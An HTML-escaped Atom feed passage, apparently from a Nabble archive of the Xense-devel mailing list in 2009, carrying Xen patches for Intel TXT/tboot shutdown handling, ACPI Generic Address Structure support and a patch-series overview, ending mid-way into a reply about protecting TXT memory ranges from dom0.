&lt;br&gt;&lt;br&gt;- &amp;nbsp; tboot_shutdown(shutdown_type);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;switch ( sleep_state )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;{
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case ACPI_STATE_S3:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shutdown_type = TB_SHUTDOWN_S3;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case ACPI_STATE_S4:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shutdown_type = TB_SHUTDOWN_S4;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;case ACPI_STATE_S5:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;shutdown_type = TB_SHUTDOWN_S5;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;break;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;default:
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_shutdown(shutdown_type);
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* System is really put into sleep state by this stub */
&lt;br&gt;diff -r ecb74962f6f4 -r 9ba8aecc3a15 xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 21:56:22 2009 -0800
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;@@ -30,23 +30,24 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Map and check for tboot UUID. */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;set_fixmap(FIX_TBOOT_SHARED_BASE, p_tboot_shared);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;tboot_shared = (tboot_shared_t *)fix_to_virt(FIX_TBOOT_SHARED_BASE);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( tboot_shared == NULL )
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if ( memcmp(&amp;tboot_shared_uuid, (uuid_t *)tboot_shared, sizeof(uuid_t)) )
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* new tboot_shared (w/ GAS support) is not backwards compatible */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;if ( tboot_shared-&amp;gt;version &amp;lt; 3 ) {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;unsupported version of tboot (%u)\n&amp;quot;, tboot_shared-&amp;gt;version);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;}
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;g_tboot_shared = tboot_shared;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;TBOOT: found shared page at phys addr %lx:\n&amp;quot;, p_tboot_shared);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;version: %d\n&amp;quot;, tboot_shared-&amp;gt;version);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;log_addr: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;log_addr);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_type: %d\n&amp;quot;, tboot_shared-&amp;gt;shutdown_type);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_tb_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_tb_wakeup_entry);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_k_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_k_wakeup_entry);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;&amp;acpi_sinfo: 0x%p\n&amp;quot;, &amp;tboot_shared-&amp;gt;acpi_sinfo);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( tboot_shared-&amp;gt;version &amp;gt;= 0x02 )
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_base: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_size: 0x%x\n&amp;quot;, tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_base: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;tboot_size: 0x%x\n&amp;quot;, tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;&lt;br&gt;void tboot_shutdown(uint32_t shutdown_type)
&lt;br&gt;@@ -59,16 +60,8 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;local_irq_disable();
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;/* Create identity map for tboot shutdown code. */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;if ( g_tboot_shared-&amp;gt;version &amp;gt;= 0x02 )
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_size = PFN_UP(g_tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;- &amp;nbsp; &amp;nbsp;else
&lt;br&gt;- &amp;nbsp; &amp;nbsp;{
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_base = 0;
&lt;br&gt;- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;map_size = PFN_UP(0xa0000);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;}
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_base = PFN_DOWN(g_tboot_shared-&amp;gt;tboot_base);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;map_size = PFN_UP(g_tboot_shared-&amp;gt;tboot_size);
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;err = map_pages_to_xen(map_base &amp;lt;&amp;lt; PAGE_SHIFT, map_base, map_size,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __PAGE_HYPERVISOR);
&lt;br&gt;diff -r ecb74962f6f4 -r 9ba8aecc3a15 xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 21:56:22 2009 -0800
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 28 22:09:02 2009 -0800
&lt;br&gt;@@ -37,7 +37,11 @@
&lt;br&gt;&amp;nbsp;#ifndef __TBOOT_H__
&lt;br&gt;&amp;nbsp;#define __TBOOT_H__
&lt;br&gt;&lt;br&gt;-typedef struct __attribute__ ((__packed__)) {
&lt;br&gt;+#ifndef __packed
&lt;br&gt;+#define __packed &amp;nbsp; __attribute__ ((packed))
&lt;br&gt;+#endif
&lt;br&gt;+
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;&amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp; &amp;nbsp;data1;
&lt;br&gt;&amp;nbsp; &amp;nbsp;uint16_t &amp;nbsp; &amp;nbsp;data2;
&lt;br&gt;&amp;nbsp; &amp;nbsp;uint16_t &amp;nbsp; &amp;nbsp;data3;
&lt;br&gt;@@ -47,28 +51,36 @@ typedef struct __attribute__ ((__packed_
&lt;br&gt;&lt;br&gt;&amp;nbsp;/* used to communicate between tboot and the launched kernel (i.e. Xen) */
&lt;br&gt;&lt;br&gt;-typedef struct __attribute__ ((__packed__)) {
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1a_cnt;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1b_cnt;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1a_evt;
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint16_t pm1b_evt;
&lt;br&gt;+/* GAS - Generic Address Structure (ACPI 2.0+) */
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; uint8_t &amp;nbsp;space_id;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; uint8_t &amp;nbsp;bit_width;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; uint8_t &amp;nbsp;bit_offset;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; uint8_t &amp;nbsp;access_width;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp; &amp;nbsp; uint64_t address;
&lt;br&gt;+} tboot_acpi_generic_address_t;
&lt;br&gt;+
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1a_cnt_blk;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1b_cnt_blk;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1a_evt_blk;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_generic_address_t pm1b_evt_blk;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1a_cnt_val;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint16_t pm1b_cnt_val;
&lt;br&gt;-} tboot_acpi_sleep_info;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t wakeup_vector;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t vector_width;
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint64_t kernel_s3_resume_vector;
&lt;br&gt;+} tboot_acpi_sleep_info_t;
&lt;br&gt;&lt;br&gt;-typedef struct __attribute__ ((__packed__)) {
&lt;br&gt;- &amp;nbsp; &amp;nbsp;/* version 0x01+ fields: */
&lt;br&gt;+typedef struct __packed {
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;/* version 3+ fields: */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uuid_t &amp;nbsp; &amp;nbsp;uuid; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* {663C8DFF-E8B3-4b82-AABF-19EA4D057A08} */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number: 0x01, 0x02, ... */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number; currently supports 0.3 */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;log_addr; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* physical addr of tb_log_t log */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry; &amp;nbsp; &amp;nbsp;/* entry point for tboot shutdown */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_type; &amp;nbsp; &amp;nbsp; /* type of shutdown (TB_SHUTDOWN_*) */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_tb_wakeup_entry;/* entry point for tboot s3 wake up */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_k_wakeup_entry; /* entry point for xen s3 wake up */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;tboot_acpi_sleep_info
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;tboot_acpi_sleep_info_t
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;acpi_sinfo; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* where kernel put acpi sleep info in Sx */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint8_t &amp;nbsp; reserved[52]; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* this pad is for compat with old field */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;/* version 0x02+ fields: */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_base; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* starting addr for tboot */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;tboot_size; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* size of tboot */
&lt;br&gt;&amp;nbsp;} tboot_shared_t;
&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723065&amp;i=2&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-02c-acpi_gas_support.patch&lt;/strong&gt; (12K) &lt;a href=&quot;http://old.nabble.com/attachment/21723065/0/xen-txt-02c-acpi_gas_support.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-2-5---ACPI-Generic-Address-Structure-for-tboot-shutdown-tp21723065p21723065.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21723046</id>
	<title>[PATCH v2] txt: 1/5 - single tboot entry point for shutdown</title>
	<published>2009-01-29T00:54:56Z</published>
	<updated>2009-01-29T00:54:56Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">tboot removed the shutdown_entry32 and shutdown_entry64 from tboot_shared_t and now has just a single shutdown_entry field.
&lt;br&gt;&lt;br&gt;Signed-off-by: Joseph Cihula &amp;lt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723046&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;joseph.cihula@...&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;diff -r af1d9af1a993 -r d4268eed9830 xen/arch/x86/tboot.c
&lt;br&gt;--- a/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 21 14:44:43 2009 +0000
&lt;br&gt;+++ b/xen/arch/x86/tboot.c &amp;nbsp; &amp;nbsp; &amp;nbsp;Wed Jan 21 22:04:51 2009 -0800
&lt;br&gt;@@ -37,8 +37,7 @@ void __init tboot_probe(void)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot;TBOOT: found shared page at phys addr %lx:\n&amp;quot;, p_tboot_shared);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;version: %d\n&amp;quot;, tboot_shared-&amp;gt;version);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;log_addr: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;log_addr);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry32: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry32);
&lt;br&gt;- &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry64: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry64);
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;shutdown_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;shutdown_type: %d\n&amp;quot;, tboot_shared-&amp;gt;shutdown_type);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_tb_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_tb_wakeup_entry);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;printk(&amp;quot; &amp;nbsp;s3_k_wakeup_entry: 0x%08x\n&amp;quot;, tboot_shared-&amp;gt;s3_k_wakeup_entry);
&lt;br&gt;@@ -82,11 +81,7 @@ void tboot_shutdown(uint32_t shutdown_ty
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;write_ptbase(idle_vcpu[0]);
&lt;br&gt;&lt;br&gt;-#ifdef __x86_64__
&lt;br&gt;- &amp;nbsp; &amp;nbsp;asm volatile ( &amp;quot;call *%%rdi&amp;quot; :: &amp;quot;D&amp;quot; (g_tboot_shared-&amp;gt;shutdown_entry64) );
&lt;br&gt;-#else
&lt;br&gt;- &amp;nbsp; &amp;nbsp;asm volatile ( &amp;quot;call *%0&amp;quot; :: &amp;quot;r&amp;quot; (g_tboot_shared-&amp;gt;shutdown_entry32) );
&lt;br&gt;-#endif
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;((void(*)(void))(unsigned long)g_tboot_shared-&amp;gt;shutdown_entry)();
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;BUG(); /* should not reach here */
&lt;br&gt;&amp;nbsp;}
&lt;br&gt;diff -r af1d9af1a993 -r d4268eed9830 xen/include/asm-x86/tboot.h
&lt;br&gt;--- a/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 21 14:44:43 2009 +0000
&lt;br&gt;+++ b/xen/include/asm-x86/tboot.h &amp;nbsp; &amp;nbsp; &amp;nbsp; Wed Jan 21 22:04:51 2009 -0800
&lt;br&gt;@@ -61,8 +61,7 @@ typedef struct __attribute__ ((__packed_
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uuid_t &amp;nbsp; &amp;nbsp;uuid; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* {663C8DFF-E8B3-4b82-AABF-19EA4D057A08} */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;version; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /* Version number: 0x01, 0x02, ... */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;log_addr; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;/* physical addr of tb_log_t log */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry32; &amp;nbsp;/* entry point for tboot shutdown from 32b */
&lt;br&gt;- &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry64; &amp;nbsp;/* entry point for tboot shutdown from 64b */
&lt;br&gt;+ &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_entry; &amp;nbsp; &amp;nbsp;/* entry point for tboot shutdown */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;shutdown_type; &amp;nbsp; &amp;nbsp; /* type of shutdown (TB_SHUTDOWN_*) */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_tb_wakeup_entry;/* entry point for tboot s3 wake up */
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;uint32_t &amp;nbsp;s3_k_wakeup_entry; /* entry point for xen s3 wake up */
&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723046&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;xen-txt-01-unified_shutdown_entry.patch&lt;/strong&gt; (3K) &lt;a href=&quot;http://old.nabble.com/attachment/21723046/0/xen-txt-01-unified_shutdown_entry.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-1-5---single-tboot-entry-point-for-shutdown-tp21723046p21723046.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21723032</id>
	<title>[PATCH v2] txt: 0/5 - Overview</title>
	<published>2009-01-29T00:54:31Z</published>
	<updated>2009-01-29T00:54:31Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">This patch series are changes to Xen to support new functionality, and a changed API, in the tboot project (see &lt;a href=&quot;http://sourceforge.net/projects/tboot&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/tboot&lt;/a&gt;&amp;nbsp;for more info about tboot). &amp;nbsp;Some of these changes originated from comments received when the first set of Linux tboot/Intel(r) TXT patches were posted to LKML.
&lt;br&gt;&lt;br&gt;Attached to this patch is a single patch to be applied to the current tip of the tboot source tree (located at &lt;a href=&quot;http://www.bughost.org/repos.hg/tboot.hg&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.bughost.org/repos.hg/tboot.hg&lt;/a&gt;). &amp;nbsp;Due to the API change, for those who wish to test the patches, it would be best to apply all of the tboot patch at once and test with all of the Xen patches applied to Xen.
&lt;br&gt;&lt;br&gt;Since the API changes are not backwards compatible, the resulting tboot will not work with a Xen that does not have the patches applied. &amp;nbsp;Likewise, a Xen with these patches applied will not work with the un-patched tboot. &amp;nbsp;To keep backward compatibility would have left the interface and code fairly ugly and didn't seem worth the trouble.
&lt;br&gt;&lt;br&gt;The Xen patches are as follows:
&lt;br&gt;&lt;br&gt;xen-txt-01-unified_shutdown_entry.patch &amp;nbsp; &amp;nbsp;- single tboot entry point for shutdown
&lt;br&gt;xen-txt-02c-acpi_gas_support.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - ACPI Generic Address Structure for tboot shutdown
&lt;br&gt;xen-txt-03c-protect_txt_ranges.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - explicitly protect TXT addr ranges from dom0
&lt;br&gt;xen-txt-04c-hypervisor_s3_integrity.patch &amp;nbsp;- hypervisor integrity on S3
&lt;br&gt;xen-txt-05b-use_protected_dmar.patch &amp;nbsp; &amp;nbsp; &amp;nbsp; - use TXT's DMA-protected DMAR table to setup VT-d
&lt;br&gt;&lt;br&gt;We are currently working on a patch that will extend the S3 integrity to domains, as configurable via a domain's config file (and always for dom0).
&lt;br&gt;&lt;br&gt;The patches apply cleanly to the latest xen-unstable (c/s 19104:31983c30c460).
&lt;br&gt;&lt;br&gt;Joe and Shane
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=21723032&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;tboot-combined.patch&lt;/strong&gt; (71K) &lt;a href=&quot;http://old.nabble.com/attachment/21723032/0/tboot-combined.patch&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/-PATCH-v2--txt%3A-0-5---Overview-tp21723032p21723032.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-21578405</id>
	<title>RE: [PATCH] txt: 2/6 - explicitly protect TXT addr ranges from dom0</title>
	<published>2009-01-20T23:41:02Z</published>
	<updated>2009-01-20T23:41:02Z</updated>
	<author>
		<name>Cihula, Joseph</name>
	</author>
	<content type="html">&lt;html xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot; xmlns:o=&quot;urn:schemas-microsoft-com:office:office&quot; xmlns:w=&quot;urn:schemas-microsoft-com:office:word&quot; xmlns:m=&quot;http://schemas.microsoft.com/office/2004/12/omml&quot; xmlns=&quot;http://www.w3.org/TR/REC-html40&quot;&gt;

&lt;head&gt;
&lt;meta http-equiv=Content-Type content=&quot;text/html; charset=us-ascii&quot;&gt;
&lt;meta name=Generator content=&quot;Microsoft Word 12 (filtered medium)&quot;&gt;
&lt;title&gt;Re: [PATCH] txt: 2/6 - explicitly protect TXT addr ranges from dom0&lt;/title&gt;

&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:shapedefaults v:ext=&quot;edit&quot; spidmax=&quot;1026&quot; /&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:shapelayout v:ext=&quot;edit&quot;&gt;
  &lt;o:idmap v:ext=&quot;edit&quot; data=&quot;1&quot; /&gt;
 &lt;/o:shapelayout&gt;&lt;/xml&gt;&lt;![endif]--&gt;
&lt;/head&gt;

&lt;body lang=EN-US link=blue vlink=purple&gt;

&lt;div class=Section1&gt;

&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
color:#1F497D'&gt;We had an earlier version of our patch that just altered the e820
table, but we were concerned about the code complexity needed to do that (the
existing Xen e820 fns aren&amp;#8217;t sufficient for this).&amp;nbsp; Here is the change
that we would need to add&amp;#8212;do you prefer this:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

